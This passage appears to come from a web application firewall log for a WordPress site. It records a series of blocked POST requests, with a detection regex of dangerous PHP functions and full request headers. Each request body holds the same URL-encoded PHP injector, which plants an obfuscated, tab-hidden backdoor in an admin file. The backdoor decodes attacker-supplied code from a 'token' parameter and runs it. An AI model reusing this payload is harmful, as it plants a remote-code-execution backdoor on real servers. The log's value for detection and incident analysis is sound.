n%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:4567\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nPK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:15","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:4567\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnH8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\niO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:17","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:4567\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\neu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:19","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%